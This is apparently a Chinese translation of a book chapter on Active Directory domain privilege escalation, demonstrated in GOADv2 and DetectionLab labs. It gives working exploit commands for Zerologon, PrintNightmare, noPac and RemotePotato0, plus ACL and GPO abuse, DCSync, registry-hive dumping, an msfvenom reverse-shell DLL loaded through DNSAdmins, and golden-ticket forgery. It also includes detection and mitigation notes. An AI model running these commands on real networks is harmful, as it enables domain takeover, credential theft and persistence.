Windows-活动目录渗透测试-二-

230 阅读1小时+

Windows 活动目录渗透测试(二)

原文:annas-archive.org/md5/54797d58818b0a0fba436d02c4dd0612

译者:飞龙

协议:CC BY-NC-SA 4.0

第六章:域权限提升

攻击者在目标域中需要提升权限的概率很高。我们已经讨论过为何不会涉及主机权限提升的主题。然而,大多数概念是通用的。我们会检查是否有任何权限提升漏洞适用于目标环境。如果没有,那么下一步就是识别各种配置错误的 ACL 和 GPO,以及可能在 IT 人员操作或软件安装过程中无意中引入的过度分配组成员权限的用户。我们会在每个新发现的路径中重申这些活动。

本章从经典的点选式攻击示例开始。这再次强调了补丁管理在环境安全性中的关键作用。接下来,我们将讨论 ACL 配置错误和组策略滥用。检测这些提升路径的主要注意事项是,它们可能被隐藏,对于 IT 人员来说并不那么明显。此外,Active Directory 中有一些特定的安全组,其成员身份可能会导致不必要的后果。我们将逐一分析它们。最后但同样重要的是,从子域到父域的权限提升可能性。涉及 Microsoft SQL Server 和 AD CS 的权限提升将在后续章节中详细介绍。

本章将涵盖以下内容:

  • 公共 Zero2Hero 漏洞

  • 如何查找并利用 ACL 配置错误

  • 通过操作 GPO 可以实现什么?

  • 内建安全组复审,包括DNSAdmins

  • 从林中的子域提升到父域,并进行特权访问管理PAM)信任

技术要求

本章中,您需要访问以下内容:

  • 至少 16GB 内存、8 个 CPU 核心,并且总空间至少为 55GB(如果要进行快照,需更多空间)的 VMware Workstation 或 Oracle VirtualBox

  • 强烈推荐使用基于 Linux 的操作系统

  • 安装了用于当前虚拟化平台插件的 Vagrant 和 Ansible

  • GOADv2 和 DetectionLab 项目

Zero2Hero 漏洞

在本节中,我们将讨论能够在几分钟内提供域管理员级别访问权限的现有漏洞。在一个有定期补丁和漏洞管理的成熟环境中,找到这样的漏洞并不常见。然而,仍然有可能发生这种情况,检查一下也无妨。我们将从相对较旧的 Kerberos 中的 GoldenPAC 漏洞开始,讨论 Zerologon 的根本原因并进行利用,接着利用 PrintNightmare 和 noPAC 提升权限。我们还将简要介绍不同类型的“土豆”漏洞,并讨论错误的组成员身份分配如何导致完全的域接管。

MS14-068

MS14-068MS11-013的后继者,意味着这是一个 PAC 验证漏洞。攻击者能够通过添加特权组来修改现有的 TGT,而域控制器错误地验证了票证。这是即时发生的,因此域用户的组成员身份没有改变。我们利用这个漏洞所需的只是一组有效的域用户凭据,具有相应的 SID 和域控制器 FQDN。在漏洞被公布后,bidord发布了利用程序[1]。

注意

这个漏洞并非在实验室中引入的。可以在这里找到一个很好的逐步攻击指南:www.trustedsec.com/blog/ms14-068-full-compromise-step-step/

简洁地说,这是您需要针对未打补丁的域控制器运行的命令:

ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <password>

因此,我们可以注入一个 TGT 票证并享受我们的新权限。

对 Kerberos 的攻击检测很困难,和往常一样。可以通过检查用户 SID 和帐户名称不匹配的事件 ID 4624 来捕获利用。此外,我们还可以检查以512513518519520结尾的 SID 的域组中的新用户。通常的建议同样适用:修补您的基础设施。在安装 KB 后,我们可以在事件 ID 4769 中检测到失败的利用尝试。

Zerologon(CVE-2020-1472)

这个漏洞真是一场灾难。未经身份验证的攻击者能够通过破坏域控制器获得域管理员权限。漏洞在于颠覆 Netlogon 加密。Netlogon是用于登录请求验证、注册、认证和域控制器定位的服务。它使用 MS-NRPC 接口作为身份验证机制,而 MS-NRPC 本身使用自定义的不安全加密来连接到域控制器的 Netlogon 安全通道。协议漏洞是在 AES-CFB8 模式中重用静态的、零值的初始化向量IV)。

注意

SecuraTom Tervoort的原创研究,详细解释请参阅这里:www.secura.com/uploads/whitepapers/Zerologon.pdf

Zerologon 有两种利用场景:中继[2]和更改密码

要了解密码更改利用场景,这里总结了七个关键概念[3]。

简而言之,利用步骤如下:

  1. 利用加密漏洞欺骗客户端凭据。

  2. 忽略签名和封装。

  3. 伪造调用以绕过身份验证,并进行无限次登录尝试。

  4. 将帐户的密码更改为空。

  5. 滥用空密码以获得域管理员权限。

  6. 恢复计算机的密码,以确保域控制器之间的复制仍在工作。

现在让我们在实验室尝试利用这个漏洞。我们将扫描所有三个域控制器。我们有几个可供选择的漏洞利用,还有 Metasploit 模块(auxiliary/admin/dcerpc/cve_2020_1472_zerologon)。我将使用 Impacket 和VoidSec的漏洞[4]。此外,我建议在利用之前为 DC03 创建一个快照。在生产环境中运行这个漏洞利用可能会造成中断。如果你仍然这样做,请不要忘记恢复密码:

zerologon.py -t 192.168.56.12 -n MEEREEN
secretsdump.py -no-pass -just-dc essos.local/MEEREEN\$@192.168.56.12

利用的结果如下截图:

图 6.1 – 成功的 Zerologon 漏洞利用

图 6.1 – 成功的 Zerologon 漏洞利用

为避免这种不愉快的情况,定期安装安全补丁 – 并且关键的,立即安装。

PrintNightmare(CVE-2021-1675 & CVE-2021-34527)

漏洞的名称可能暗示引入它的服务。你猜对了 – 我们的好朋友打印池服务。Spooler 使用了三个 RPC 协议:MS-RPRNMS-PARMS-PAN。我们对前两个协议感兴趣。总的来说,漏洞存在于允许用户安装远程驱动程序的功能中。我们需要从服务器可访问的 SMB 共享来托管我们的恶意 DLL。客户端创建一个带有攻击者 DLL 路径的对象,并将其传递给另一个对象,然后由RpcAddPrinterDriverEx加载。此外,我们需要通过在服务器上设置dwFileCopyFlags中的一些位来绕过SeLoadDriverPrivilege验证。然后,DLL 将被加载,并且可以在这里找到:C:\Windows\System32\spool\drivers\x64\3) 和这里 (C:\Windows\System32\spool\drivers\x64\3\Old\{id}。根据协议,StanHacked[5]发现了一些条件。如果目标拒绝远程连接,这个漏洞利用可以用于本地权限提升,但只有在启用点对点打印策略时才能使用。

对于利用,我们可以使用由cube0x0[6]编写的漏洞利用、Mimikatz 中的一个模块,或者 Metasploit 模块。首先,我们需要使用CrackMapExec检查 Spooler 服务是否正在运行:

crackmapexec smb 192.168.56.10-12 -M spooler

CrackMapExec 执行的输出如下:

图 6.2 – Spooler 服务枚举

图 6.2 – Spooler 服务枚举

然后,我们可以对目标运行 Metasploit 中的一个漏洞利用。这个模块有一个预构建的检查,并且需要标准域用户凭据才能成功利用。它们没有标记为强制选项,但没有它们,漏洞利用会失败,至少对我来说是这样:

图 6.3 – 成功的 PrintNightmare 漏洞利用

图 6.3 – 成功的 PrintNightmare 漏洞利用

微软花了一些时间发布正确的修复。最可靠的缓解措施是在可能的情况下完全禁用 Spooler 服务。

sAMAccountName 伪装和 noPac(CVE-2021-42278/CVE-2021-42287)

此攻击是两个漏洞的组合。第一个漏洞,CVE-2021-42278(名称冒充),是因为没有验证过程确保计算机账户的名称末尾有符号。第二个漏洞,CVE202142287KDC欺骗),利用了在S4U2Self请求票证时,如果域控制器未能找到计算机名称,搜索将会再次进行,并在计算机名称后添加符号。第二个漏洞,CVE-2021-42287(KDC 欺骗),利用了在 S4U2Self 请求票证时,如果域控制器未能找到计算机名称,搜索将会再次进行,并在计算机名称后添加符号。为了利用这些漏洞,我们需要未修补的域控制器,一个有效的域用户账户,以及一个大于 0 的机器账户配额。

注意

exploitph 发表了很好的逐步研究:exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.xhtml

借助CrackMapExec模块,我们可以查找域中的机器配额并检查域控制器是否存在noPac漏洞:

crackmapexec ldap 192.168.56.10 -u 'jaime.lannister' -p 'cersei' -d sevenkingdoms.local -M MAQ
crackmapexec smb 192.168.56.10 -u 'jaime.lannister' -p 'cersei' -d sevenkingdoms.local -M nopac

执行结果如下所示截图:

图 6.4 – 使用 CrackMapExec 进行 MAQ 和漏洞检查

图 6.4 – 使用 CrackMapExec 进行 MAQ 和漏洞检查

注意

手动利用步骤已在此实验室演练中详细描述:mayfly277.github.io/posts/GOADv2-pwning-part5/#samaccountname-nopac

利用这些漏洞有六个步骤:

  1. 使用addcomputer.pyPowermad创建计算机账户。

  2. 使用Powerviewaddspn.py清除创建或控制的机器账户的 SPN 属性。

  3. 将创建或控制的机器账户的sAMAccountName属性更改为域控制器的名称,但末尾不加$符号。

  4. 请求该机器账户的 TGT。

  5. 将创建或控制的机器账户的sAMAccountName属性恢复为原始名称或其他任何值,但不能是域控制器的名称。

  6. 通过展示获取的 TGT 请求带有S4U2self的 TGS,然后使用它访问域控制器。

我们将使用由cube0x0编写的自动化利用工具[7],该工具包含所有这些步骤:

noPac.exe -domain sevenkingdoms.local -user jaime.lannister -pass cersei /dc kingslanding.sevenkingdoms.local /mAccount vinegrep /mPassword vinegrep /service cifs /ptt

结果如下所示截图:

图 6.5 – noPac 成功利用

图 6.5 – noPac 成功利用

我们还可以从 Linux 机器利用此漏洞,使用 Python 编写的利用工具[8]:

python3 sam_the_admin.py "essos.local/khal.drogo:horse" -dc-ip 192.168.56.12 -shell

执行结果如下所示截图:

图 6.6 – sam-the-admin noPac 漏洞利用版本工作中

图 6.6 – sam-the-admin noPac 漏洞利用版本工作中

最好的缓解措施是安装更新(KB5008102KB5008380,和KB5008602)。此外,我们可以监控事件 ID 4662,SAM Account Name,已更改,以检测可能的利用尝试。

RemotePotato0

Potato在漏洞名称中总是与伪装和本地特权利用LPE)相关,如HotLonelyRottenJuicyRogueSweetGod,或者是新发现的本地 potato 风味[9]。

注释

顺便说一下,如果你对不同的 potato 风味感到困惑,可以参考这篇不错的博客文章:jlajara.gitlab.io/Potatoes_Windows_Privesc

这里的想法是触发登录的高权限用户的身份验证,并将其中继到域控制器。成功的漏洞利用要求最初访问与高权限用户登录的相同主机。SMB 和 LDAP 签名未启用。

漏洞利用要求如下:

  • 攻击者需要在计算机上加入“远程桌面管理”组

  • “域管理员”组的成员必须在该机器上以交互方式登录

在 GOADv2 实验室中,此漏洞不可利用,然而,在 DetectionLab 中它仍然有效。漏洞利用代码可在此处获取[10]。我使用了来自 DetectionLab 的域控制器和交换服务器。在一台 Kali 机器上,我启动了ntlmrelayx,然后通过 PSRemote 会话在交换服务器上运行了漏洞利用:

sudo impacket-ntlmrelayx -t ldap://192.168.56.102 --no-wcf-server --escalate-user vinegrep

然后,我在交换服务器上运行了漏洞利用:

RemotePotato0.exe -m 0 -r 192.168.56.100 -p 9998 -s 1

漏洞利用的结果见下图:

图 6.7 – RemotePotato0 漏洞利用执行

图 6.7 – RemotePotato0 漏洞利用执行

结果,我们可以看到我们的用户已被添加到企业管理员组

图 6.8 – RemotePotato0 成功的中继和 shell

图 6.8 – RemotePotato0 成功的中继和 shell

微软在 2022 年 10 月的补丁更新中悄悄修复了此漏洞。由于 NTLM 身份验证设置了SIGN标志,LDAP 中继场景已不再存在。如果我们尝试在 GOADv2 实验室中复制该攻击,可以确认这一点:

图 6.9 – RemotePotato0 利用失败

图 6.9 – RemotePotato0 利用失败

这也得到了我们ntlmrelayx输出的确认:

图 6.10 – 中继未能工作,漏洞已修复

图 6.10 – 中继未能工作,漏洞已修复

在接下来的部分中,我们将讨论 ACL 和 ACE 的概念以及不同的恶意用途方法。

ACL 滥用

访问控制列表(ACL)滥用为攻击者提供了独特且几乎无法被检测到的特权提升、横向移动和无恶意软件持久化的方法。

注释

关于这个主题,一些最著名和全面的研究由SpectreOps提供(specterops.io/wp-content/uploads/sites/3/2022/06/an_ace_up_the_sleeve.pdf)。我们将在这里和下一章中引用其中的部分研究。

我们将从基本理论作为介绍开始。Active Directory 中的每个对象都有一个安全描述符。每个对象都有相关的访问控制实体ACEs)列表,这些列表创建了称为自由访问控制列表DACL)和系统访问控制列表SACL)的两个列表。ACEs 定义了哪些安全主体对对象具有权限。SACL 具有很强的检测潜力,因为它可以用于审计访问尝试。对象所有者可以修改 DACL。当我们谈论域对象时,我们关注的是用户、组、计算机、域和 GPO 对象。理解的最后一个重要概念是继承。对于所有具有AdminCount=0的对象,默认启用继承,这意味着如果我们将 ACE 应用于 OU 或容器,它将应用于其中的所有对象。

要在域中查找配置错误的 ACL,我们可以使用各种工具,例如 PowerView 或 BloodHound 中的 ACLScanner。从攻击者的角度来看,这些权限看起来很有前途:GenericAll, WriteDacl**, **GenericWrite (Self + WriteProperty)**, WriteOwner 和 AllExtendedRights **(****DS-Replication-Get-Changes(All)**, **User-Force-Change-Password)

可以在这里找到 ACL 滥用的综合思维导图以及命令示例[11]。我们将逐一讨论它们,以讨论滥用可能性:

图 6.11 – ACL 滥用思维导图

图 6.11 – ACL 滥用思维导图

正如我们在思维导图上看到的,最强大的权限是GenericAll。它为攻击者打开了各种滥用选项。ReadLAPSPassword 属性在第四章中已经讨论过。对于计算机和用户应用的WriteProperty 权限可以导致影子凭据攻击,这将在稍后的第八章中进行讨论,因此在即将到来的部分中没有提到。

一个稍微不寻常的特例与ReadGMSAPassword ACL 滥用有关。攻击者需要控制列在目标对象的msDS-GroupMSAMembership ACL 中的对象。简而言之,这是允许查询 gMSA 密码的对象列表。

从攻击者的角度来看,如果攻击者控制了组上的以下 ACL 之一(GenericAll**, **GenericWrite**, **Self**, **WritePropertyAllExtendedRights),则可以将对象添加到组中。WriteOwner 权限允许攻击者获得组的所有权。如果还控制了WriteDacl,则可以结合这两个权限,并将GenericAll 权限授予自身,从而有效地获得对组的完全控制。我们将在sevenkingdoms域中执行扫描,以检测配置错误,借助PowerView 的帮助:

Invoke-ACLScanner -Domain sevenkingdoms.local

结果如下截图所示:

图 6.12 – tywin.lannister 在小委员会组上拥有 WriteDacl 权限

图 6.12 – tywin.lannister 在小委员会组上拥有 WriteDacl 权限

为了滥用WriteDacl特权,我们需要为tywin.lannister添加对该组的完全控制权限,然后将其添加到该组。我们可以通过两条 PowerView 命令来实现:

Add-DomainObjectAcl -TargetIdentity "Small Council" -PrincipalIdentity tywin.lannister -Domain sevenkingdoms.local -Rights All -Verbose
Add-DomainGroupMember -Identity "Small Council" -Members tywin.lannister -Verbose

前述命令的结果如下图所示:

图 6.13 – tywin.lannister 将自己添加到小委员会组

图 6.13 – tywin.lannister 将自己添加到小委员会组

该组的WriteProperty权限允许攻击者将任何主体添加到该组,但Self权限仅允许对象本身被添加到该组。

计算机

当计算机对象的特定权限被控制时,最常见的利用场景是 Kerberos基于资源的受限委托RBCD)。要执行 Kerberos RBCD,攻击者需要控制以下权限之一:GenericAllGenericWriteSelfWriteProperty,这些权限位于ms-AllowedToActOnBehalfOfOtherIdentity属性上。Service-Principal-Name属性上的WriteProperty权限将允许对手执行 SPN 劫持攻击。该场景涉及Kerberos 受限委托KCD)滥用。简而言之,攻击者通过 KCD 攻陷服务器,并且同时拥有目标服务器上WriteSPNWriteProperty on Service-Principal-Name)权限,以及列在受害服务器的受限委托配置中的权限。然后,攻击者会从第二台服务器中移除 SPN 并将其添加到目标服务器上,执行完整的 S4U 攻击。接着,他们会编辑票据的 SPN 并传递。以我们实验室的示例为例,可能出现以下情况:一名攻击者攻陷了配置了 KCD 的Castelblack服务器,该服务器的受限委托配置为Winterfell。最终目标是Legit-PC,攻击者在此拥有WriteSPN权限。首先,将winterfell的 SPN 添加到Legit-PC。然后,针对相同的 SPN 请求票据,并使用 Rubeus 的tgssub命令编辑票据的 SPN,使其指向 Legit-PC 服务。

注意

原始研究已发布在www.semperis.com/blog/spn-jacking-an-edge-case-in-writespn-abuse/,执行 SPN 劫持的命令集合可以在此找到:www.thehacker.recipes/ad/movement/kerberos/spn-jacking

用户

如前所述,GenericAll 权限将授予对对象的完全控制。这里讨论的所有攻击路径都是由于一组特定的受控权限而可能实现的。GenericWrite 权限允许攻击者通过更改密码而无需知道当前密码来接管用户帐户。WriteDacl 权限允许攻击者授予自己对用户对象的完全控制。GenericWriteWriteProperty 根据属性本身的不同,开启了某些攻击途径。该属性可以是登录脚本属性(scriptPathmsTSInitialProgram)、Service-Principal-NameuserAccountControl 属性。后两者将允许我们执行 Targeted KerberoastingTargeted AS-REP Roasting。我使用 ADSI 编辑器并将 WriteProperty 权限添加到 jaime.lannister 上,通过 lord.varys 用户对象。现在,使用 PowerView 进行枚举并确认:

图 6.14 – jaime.lannister 对 lord.varys 拥有 WriteProperty 权限

图 6.14 – jaime.lannister 对 lord.varys 拥有 WriteProperty 权限

我们的第一次攻击将是针对 Kerberoasting。其思路是设置用户的 SPN,获取 Kerberoast 哈希值,并清除 SPN 以掩盖痕迹。可以通过以下 PowerView 命令实现:

Set-DomainObject -Identity 'lord.varys' -Set @{serviceprincipalname='notexist/ROAST'}
Get-DomainUser 'lord.varys' | Get-DomainSPNTicket | fl
Set-DomainObject -Identity 'lord.varys' -Clear ServicePrincipalName

前述命令的结果如下图所示:

图 6.15 – 成功的针对 lord.varys 用户的 Kerberoasting 攻击

图 6.15 – 成功的针对 lord.varys 用户的 Kerberoasting 攻击

针对 AS-REP 烤制攻击基于我们对 userAccountControl 属性的控制,因此我们可以将其更改为 不需要 Kerberos 预认证。我将使用 PowerView 和 Rubeus 演示此过程:

Set-DomainObject -Identity lord.varys -XOR @{useraccountcontrol=4194304} -Verbose
Rubeus.exe asreproast
Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose

成功的攻击如下图所示:

图 6.16 – 成功的针对 lord.varys 用户的 AS-REP 烤制攻击

图 6.16 – 成功的针对 lord.varys 用户的 AS-REP 烤制攻击

最著名的滥用向量是我们对用户对象拥有 AllExtendedRightsUser-Force-Change-Password 权限,这意味着我们可以在不知道当前密码的情况下重置用户密码。这个途径在我们的实验室中演示过:

图 6.17 – tywin.lannister 可以重置 jaime.lannister 用户的密码

图 6.17 – tywin.lannister 可以重置 jaime.lannister 用户的密码

以下 PowerView 命令将完成此操作:

$username = 'sevenkingdoms\tywin.lannister'
$password= ConvertTo-SecureString 'powerkingftw135' -AsPlainText -Force
$auth = New-Object System.Management.Automation.PSCredential $username, $password
$newpassword = ConvertTo-SecureString 'Qwerty123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'sevenkingdoms\jaime.lannister' -AccountPassword $newpassword -Credential $auth -Verbose

结果如下图所示:

图 6.18 – tywin.lannister 成功重置 jaime.lannister 用户的密码

图 6.18 – tywin.lannister 成功重置 jaime.lannister 用户的密码

最后,我们将看看可以用于完全接管整个域的最强 ACL。

DCSync

WriteDacl 权限可以用于授予 DCSync 权限(DS-Replication-Get-Changes 和 DS-Replication-Get-Changes-All)。为了模拟攻击,我使用了 ADSI 编辑并添加了 jaime.lannister修改权限写入所有属性 权限。我们可以使用 PowerView 来确认更改已成功:

Find-InterestingDomainAcl | ?{$_.IdentityReferenceName -eq 'jaime.lannister'}

命令的结果如以下截图所示:

图 6.19 – jaime.lannister 用户具有对域对象的 WriteDacl 权限

图 6.19 – jaime.lannister 用户具有对域对象的 WriteDacl 权限

我们可以授予用户 DCSync 权限,并通过以下命令执行攻击:

Add-DomainObjectAcl -Rights DCSync -TargetIdentity "DC=sevenkingdoms,DC=local" -PrincipalIdentity jaime.lannister -Verbose
mimikatz.exe "lsadump::dcsync /user:krbtgt /csv"

DCSync 攻击的结果如以下截图所示:

图 6.20 – 成功的 DCSync 攻击

图 6.20 – 成功的 DCSync 攻击

在下一节中,我们将讨论滥用 GPO 的方法。这也与错误配置的 ACL 相关,但这次是针对 GPO。攻击者可以利用它进行横向移动、特权提升和在域中的持久性。该攻击的检测方法已经在 第四章 中详细介绍。

组策略滥用

服务器和客户端 Windows 操作系统具有多种可以启用、禁用或配置的参数。可以在每个对象上本地应用所需的参数(本地策略),但在域中,通过组策略推送配置更改到一组机器和/或用户会更加方便。这些策略集合被称为 组策略对象GPO)。每个 GPO 都有其唯一的 GUID。策略文件存储在域的 SYSVOL 文件夹中。默认情况下,只有具有域管理员权限的用户才能创建和链接 GPO,但这些权限是可以委派的。GPO 需要链接到 组织单位、域或站点。链接过程需要理解另外两个概念:继承和强制。如果 GPLink 被强制执行,GPO 将应用于链接的 OU 及所有子对象,即使继承被阻止。如果 GPLink 没有强制执行,GPO 将应用于链接的 OU 及所有子对象,直到在任何后续 OU 中启用 阻止继承。还有一些方法可以更加逐步地应用 GPO,比如 WMI 筛选、安全筛选和链接顺序。但这些筛选选项在实际操作中很少使用。我们有两条主要的攻击途径,取决于我们获得的权限:创建并链接新的 GPO 或修改现有的 GPO。然而,当我们成功控制了 GPO 本身时,我们的行动自由度要大得多。以下是一些滥用场景示例,这仅仅是冰山一角,只要有一定的创意,几乎没有限制:

  • 将用户添加到机器上的特权本地组

  • 添加用户权限,如 SeDebugPrivilege、RDP 连接等

  • 配置用户和/或计算机的登录/注销脚本

  • 调整注册表键及其 DACL,包括自启动项,以实现持久化

  • 配置用户或计算机的即时计划任务

  • 恶意 .msi 文件安装

  • 在机器上创建和编辑服务

  • 部署一个新的恶意快捷方式

  • 管理防火墙和 Windows Defender 设置(例如,排除路径)

在写作时,我们的实验室尚未引入易受攻击的 GPO,因此我在 sevenkingdoms 域中自己创建了一个,并为 jaime.lannister 用户授予了额外的权限。让我们开始实践。我们将从域中的 GPO 枚举及其应用的 ACL 开始。我们要寻找的 ACL 是我们常见的嫌疑人:GenericAllGenericWriteWritePropertyWriteDaclWriteOwner 以及 AllExtendedWrite 和 WriteMember。我们可以使用 PowerView 一行命令来执行此操作:

Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericAll|GenericWrite|WriteProperty|WriteDacl|AllExtendedWrite|WriteMember|WriteOwner")}

在输出中,我们寻找具有 SID 且不在常见特权组和账户中的用户:

图 6.21 – 拥有 GenericAll 权限的 GPO 用户

图 6.21 – 拥有 GenericAll 权限的 GPO 用户

接下来,我们查找具有 GPO 权限的用户账户、GPO 名称以及该 GPO 应用的 OU 名称和成员。可以通过 PowerView 来实现:

ConvertFrom-SID S-1-5-21-4243769114-3325725031-2403382846-1110
Get-DomainGPO -Identity "CN={776DB09D-32B9-4923-AADE-3056482455CB},CN=Policies,CN=System,DC=sevenkingdoms,DC=local"
Get-DomainOU -GPLink "{776DB09D-32B9-4923-AADE-3056482455CB}" | select distinguishedName
Get-DomainComputer -SearchBase "OU=Vale,DC=sevenkingdoms,DC=local" | select distinguishedName

以下截图显示了这些信息:

图 6.22 – GPO 信息

图 6.22 – GPO 信息

我们可以通过 SharpGPOAbuse[12](由 F-Secure 编写)帮助将 jaime.lannister 添加到本地管理员组,从而提升权限:

SharpGPOAbuse.exe --AddLocalAdmin --UserAccount jaime.lannister --GPOName "hack_me"

利用漏洞的结果如下所示:

图 6.23 – jaime.lannister 用户被添加到本地管理员组

图 6.23 – jaime.lannister 用户被添加到本地管理员组

另一个权限提升场景是查找可以在域中创建和链接策略的用户。仅创建策略是不够的,还需要将其链接到组织单位(OU)才能发挥实际作用。组策略容器存储在域中的 CN=PoliciesCN=System 容器下。默认情况下,只有“域管理员”和“企业管理员”组才有权限将 GPO 链接到 OU、站点和域。这个权限的名称是 Write gPlink。为了在我们的实验室中引入上述场景,我将为 Group Policy Container 授予 lord.varys CreateChild 用户权限,并为 Vale OU 授予 Write gPlink 权限。这可以通过在 ADSI Edit 中调整对象属性的 安全性 标签页中的权限来完成,如下所示:

图 6.24 – lord.varys 用户拥有新权限

图 6.24 – lord.varys 用户拥有新权限

现在我们可以使用 PowerView 确认lord.varys用户确实拥有这样的权限。第一条命令将显示谁可以在域中创建组策略。第二条命令将识别每个在域内各 OU 的GP-Link属性上具有WriteProperty权限的用户:

Get-DomainObjectAcl -ResolveGUIDs -Identity "CN=Policies,CN=System,DC=sevenkingdoms,DC=local"| Where-Object {($_.ActiveDirectoryRights.ToString() -match "CreateChild")} | select securityidentifier
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "WriteProperty" -and $_.ObjectAceType -eq "GP-Link")} | select SecurityIdentifier, ObjectDN, ObjectACEType | fl

前述命令执行的结果如下面的截图所示:

图 6.25 – lord.varys 用户有权创建 GPO 并将其链接到 OU

图 6.25 – lord.varys 用户有权创建 GPO 并将其链接到 OU

现在我们可以通过PowerShell 模块组策略 MMC来创建 GPO 并将其链接到 OU。PowerShell 模块的功能有限,但可以用于恶意目的,例如Set-GPPrefRegistryValueSet-GPRegistryValue,这些命令允许你使用以下语法创建Autorun注册表项:

Set-GPRegistryValue -Name Legit_Updater -Key "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName Legit -Type String -Value "cmd.exe /c payload.exe"

下一节将讨论通过加入特权安全组进行的权限提升。

其他权限提升途径

本节将重点介绍突出的权限提升途径。我们将演示将非特权域用户添加到各种内建域安全组中的后果。接着,我们将描述通过黄金票证和跨域票证从子域到父域的权限提升。最后,将解释 PAM 概念。

通常,特权用户、计算机和组需要定期审查。从 Active Directory 的角度来看,用户账户和计算机账户之间没有本质的区别。如果攻击者破解了属于特权组的计算机账户,这无疑会导致权限提升。

注意

原始研究由XPN提出:secarma.com/using-machine-account-passwords-during-an-engagement/。该方法的核心思想是提取机器账户的哈希值,并将其用于“传递哈希”攻击,具体操作可参见:pentestlab.blog/2022/02/01/machine-accounts/

避免权限提升的主要预防措施是最小权限原则。如果你认为某个机器账户被破解,可以禁用该账户。同时,PowerShell 的Reset-ComputerMachinePassword命令可以重置机器账户的密码。

内建安全组

域中有几个内置的安全组,它们为特定任务预配置了权限。我们不打算讨论通常的高权限组,如架构企业管理员。这些组在森林和域中的作用非常明确。我们将讨论一些很少提及的操作员安全组,如帐户操作员打印操作员服务器操作员。在实践部分,我们将演示权限提升的途径,在该途径中,属于备份操作员组的用户可以从域控制器中提取ntds.dit文件。此外,我们将利用DNSAdmins用户的成员身份(CVE-2021-40469)实现以SYSTEM身份的远程代码执行。

注意

关于组的良好文档由微软提供:learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups

我们将从帐户操作员组(S-1-5-32-548)开始回顾。根据微软的说法,这个组被视为服务管理员组,他们的建议是将其保持为空。如果攻击者攻陷了一个属于该组的用户,他们将能够本地登录到域控制器并创建或修改帐户(尽管不能修改管理员帐户)。

服务器操作员组(S-1-5-32-549)的成员可以管理和维护域控制器。该组仅存在于域控制器上,默认情况下为空。该组的成员不能更改任何管理组的成员资格,但可以编辑和启动/停止服务,并备份和恢复文件。成为此组的成员为持久性提供了极大的机会,因为可以更改安装在域控制器上的二进制文件。

打印操作员组(S-1-5-32-550)的成员被允许加载驱动程序并管理连接到域控制器的打印机,以及本地登录。攻击者可以启用SeLoadDriverPrivilege并加载易受攻击的驱动程序,如Capcom.sys[13]。然而,自 Windows 10 版本 1803 以来,已不再可利用,因为HKEY_Current_User中的注册表引用不再被允许。

现在我们将进入实际操作。Backup Operators组(S-1-5-32-551)的权限显然源自组名:备份和恢复文件,尽管这些文件可能已经设置了权限。默认情况下,该组为空。为了引入此漏洞,我将把 lord.varys 用户添加到该组中。漏洞利用本身非常简单,涉及三个步骤:连接到远程注册表、打开注册表 Hive 并将它们保存到本地或远程位置。注册表 Hive 包括SAMSYSTEMSECURITY。然后,攻击者可以利用secretsdump工具(来自impacket)并使用域控制器的机器账户哈希值来转储 ntds.dit 文件。利用代码可以在这里找到[14]。首先,让我们运行利用代码,并将注册表 Hive 保存到我们可以访问的文件夹(也可以是 UNC 路径)中:

BackupOperatorToDA.exe -t \\kingslanding.sevenkingdoms.local -o C:\Users\Public\ -u lord.varys -p "_W1sper_$" -d sevenkingdoms.local

命令执行的结果如下截图所示:

图 6.26 – 成功转储注册表 Hive

图 6.26 – 成功转储注册表 Hive

下一步是提取域控制器的机器账户哈希,并转储 ntds.dit 文件:

secretsdump.py LOCAL -system SYSTEM -sam SAM -security SECURITY
secretsdump.py 'sevenkingdoms.local/kingslanding$@kingslanding.sevenkingdoms.local' -hashes aad3b435b51404eeaad3b435b51404ee:7c2c64aebfd101d8927632960df23179 -just-dc

结果,哈希值成功转储:

图 6.27 – 从域控制器转储了 ntds.dit 文件

图 6.27 – 从域控制器转储了 ntds.dit 文件

下一个示例将演示如何仅通过成为DNSAdmins安全组的成员,实现在域控制器上以SYSTEM身份执行远程代码。

DNSAdmins 滥用(CVE-2021-40469)

如果攻击者是DNSAdmins组的成员,则可以触发 DNS 服务器加载我们选择的 DLL 并在SYSTEM上下文下执行它。DLL 的路径在ServerLevelPluginDll值中提供,也可以是 UNC 路径。

注意

本发现的作者博客文章可以在这里找到:medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83

为了演示这个技巧,我将把 jon.snow 用户添加到north.sevenkingdoms.local域的 DNSAdmins 组中。我们的利用路径是生成带有反向 Shell 的 DLL,并将其放置在castelblack服务器的Public共享文件夹中。然后,添加插件,等待 DNS 服务器重启,并在我们的 Kali 机器上获取反向 Shell:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=443 -f dll > legit.dll
dnscmd.exe winterfell /Config /ServerLevelPluginDll \\castelblack\public\legit.dll

在 DNS 服务器重启后,我们获得了以SYSTEM身份在域控制器上执行的反向 Shell:

图 6.28 – 成功利用 CVE-2021-40469,在域控制器上获得反向 Shell 并以 SYSTEM 身份执行

图 6.28 – 成功利用 CVE-2021-40469,在域控制器上获得反向 Shell 并以 SYSTEM 身份执行

接下来,我们将讨论从子域到父域的权限提升问题。同时,我们还将简要讨论 PAM 信任和堡垒域的概念。

子域/父域特权提升

在之前的一次攻击中,我们能够导出 north.sevenkingdoms.local 域的 ntds.dit。现在,我们可以在伪造的票证中添加额外的 SID,以便提升特权到父域。为了成功伪造票证,我们需要两个域的 SID —— 金票证的 krbtgt 哈希值和跨域票证的信任密钥。以下命令将找到域 SID,并借助 Mimikatz 伪造金票证:

Get-DomainSID -Domain north.sevenkingdoms.local
Get-DomainSID -Domain sevenkingdoms.local
kerberos::golden /user:Administrator /domain:north.sevenkingdoms.local /sid:S-1-5-21-3600105556-770076851-109492085 /sids:S-1-5-21-4243769114-3325725031-2403382846-519 /krbtgt:35400f589a2614495ab9cfcdd0b89eba /ptt

